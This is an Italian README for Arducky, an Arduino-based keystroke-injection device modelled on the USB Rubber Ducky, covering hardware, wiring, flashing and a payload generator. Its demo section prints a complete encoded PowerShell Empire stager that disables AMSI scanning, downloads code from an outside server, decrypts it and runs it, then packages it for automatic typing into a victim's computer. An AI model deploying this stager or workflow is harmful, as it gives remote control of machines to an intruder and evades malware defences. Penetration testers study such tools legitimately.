
Arducky - Interprete di script Ducky per Arduino
Questo progetto mira a creare un'alternativa economica (ma non meno efficace) all'USB Rubber Ducky di Hak5.
L'USB Rubber Ducky è un HID (Human Interface Device) programmabile con un semplice linguaggio di scripting che consente ai penetration tester di creare e distribuire rapidamente e facilmente payload di audit di sicurezza che imitano l'input di una tastiera umana.
Con Arducky, devi solo gestire il Ducky Script salvato su una scheda MicroSD.
Dopo la configurazione, non avrai più bisogno di riprogrammare il tuo Arduino per cambiare script.
| Quantità | Articolo | Prezzo | Descrizione |
|---|---|---|---|
| 1 | Arduino Pro Micro ATmega32U4 5V Board | $4.11 | Compatibile con protocollo USB, utilizzabile come HID mouse o tastiera |
| 1 | Micro SD Memory Shield | $0.78 | |
| 1 | Micro USB OTG Adapter | $0.99 | Facoltativo. Può essere usato per sostituire il cavo micro USB |
| 1 | DuPont Wires | $1.28 | |
| 1 | Micro SD Card | $18.00 | Questo è un esempio, dubito che ti servirà più di 1GB |
Per utilizzare la tua scheda Micro SD con Arducky, la scheda deve essere formattata con filesystem FAT32.
Ti consiglio vivamente di formattare la scheda SD (anche se è nuova!) usando il SD Memory Card Formatter ufficiale della SDA (SD Association) piuttosto che gli strumenti di formattazione forniti dal tuo sistema operativo.
Ora che hai formattato la scheda MicroSD, colleghiamo lo shield MicroSD!
L'interfaccia del controller MicroSD ha un totale di sei pin (GND, VCC, MISO, MOSI, SCK, CS).
Basandoti sulla documentazione SPI di Arduino, l'interfaccia di controllo deve essere collegata come segue (usando i cavi DuPont):

Nota: Come menzionato nella sezione Hardware, il modulo è progettato per interagire con un µC a 5V, quindi avrai bisogno del pin 5V sul tuo Arduino.


Clona il progetto:
git clone https://gitlab.com/Creased/arducky
cd arducky/
Se stai usando una tastiera AZERTY, dovrai anche sostituire la tua libreria Keyboard (Keyboard.cpp e Keyboard.h) con quella inclusa.
Carica lo sketch arducky.ino sulla scheda Arduino usando l'IDE Arduino.
Per generare il file arducky_femto.ino con un payload Ducky Script, puoi usare femto_generate_payload.py:
~# python3 femto_generate_payload.py -h
usage: femto_generate_payload.py [-h] [-i ino_file] [-o output_file]
payload_file
Generates payload in arducky_femto.ino from an input Rubber Ducky payload file
positional arguments:
payload_file input Rubber Ducky payload file
optional arguments:
-h, --help show this help message and exit
-i ino_file, --ino ino_file
input Arducky ino file
-o output_file, --out output_file
output Arducky ino file
Esempio:
~# python3 femto_generate_payload.py -i arducky_femto.ino -o femto.ino demo/script.txt
Empire è un framework post-exploitation che implementa la capacità di eseguire agenti PowerShell senza bisogno di powershell.exe, moduli post-exploitation rapidamente distribuibili che vanno dai key logger a Mimikatz.
In questa demo, distribuiremo un Empire su un server remoto (ad esempio un VPS) su un nodo Docker e useremo Arducky per connetterci.
Segui i passaggi descritti in questa guida.
Impostando un nuovo Empire, dovresti ottenere un payload come (vedi cartella demo/):
powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQBzAFMARQBNAEIAbAB5AC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAEkAZQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAFUAZQAoACQAbgBVAEwAbAAsACQAVAByAHUAZQApAH0AOwBbAFMAWQBTAFQARQBNAC4ATgBFAHQALgBTAEUAcgB2AGkAYwBlAFAATwBJAG4AdABNAGEAbgBBAGcARQBSAF0AOgA6AEUAWABwAEUAYwBUADEAMAAwAEMAbwBOAHQAaQBOAFUARQA9ADAAOwAkAHcAYwA9AE4ARQB3AC0ATwBCAEoAZQBDAFQAIABTAFkAUwB0AEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAGkAZQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABXAGMALgBIAGUAYQBEAGUAcgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAHIATwBYAFkAPQBbAFMAeQBTAHQARQBNAC4ATgBFAHQALgBXAGUAQgBSAGUAcQB1AEUAUwBUAF0AOgA6AEQAZQBGAEEAVQBMAHQAVwBlAEIAUABSAG8AWABZADsAJAB3AEMALgBQAHIAbwBYAHkALgBDAHIAZQBEAEUAbgBUAEkAYQBMAFMAIAA9ACAAWwBTAFkAcwBUAEUAbQAuAE4ARQBUAC4AQwByAEUARABFAE4AVABJAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQBVAEwAVABOAEUAVAB3AG8AcgBLAEMAcgBlAGQARQBuAHQASQBBAGwAcwA7ACQASwA9AFsAUwBZAHMAdABlAE0ALgBUAEUAWABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACcASwBBAE4AcwAjADgAJQBtAHAAWgBpAGQAUABTAEwAaABhAF0AZwBWAFsAWQAuAEcAPwBuAGsAfQBGAGMALwAzACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAWABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAVwBDAC4ASABFAGEARABFAHIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBtADAARQB6AEsALwBlAEEATQBTAE4AbQAxAEIAaABlAEYAUwBEAGYAZAB3AE0AaQBxAFEAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvAHYAcABzADIALgBiAG0AbwBpAG4AZQAuAGYAcgA6ADgAMAA4ADAAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQATwBXAE4AbABvAEEAZABEAGEAdABhACgAJABzAGUAUgArACQAVAApADsAJABJAFYAPQAkAEQAYQB0AEEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAQQB0AEEAWwA0AC4ALgAkAEQAQQB0AGEALgBMAEUATgBnAHQAaABdADsALQBKAG8ASQBOAFsAQwBIAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAQQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
Salvalo in un file chiamato stager.txt ed esegui lo script create_script.sh per creare il Ducky Script:
./create_script.sh
Copia il file script.txt generato nella directory root della tua scheda MicroSD e accendi l'Arducky.
Ecco un video che dimostra l'attacco:
Ecco fatto!
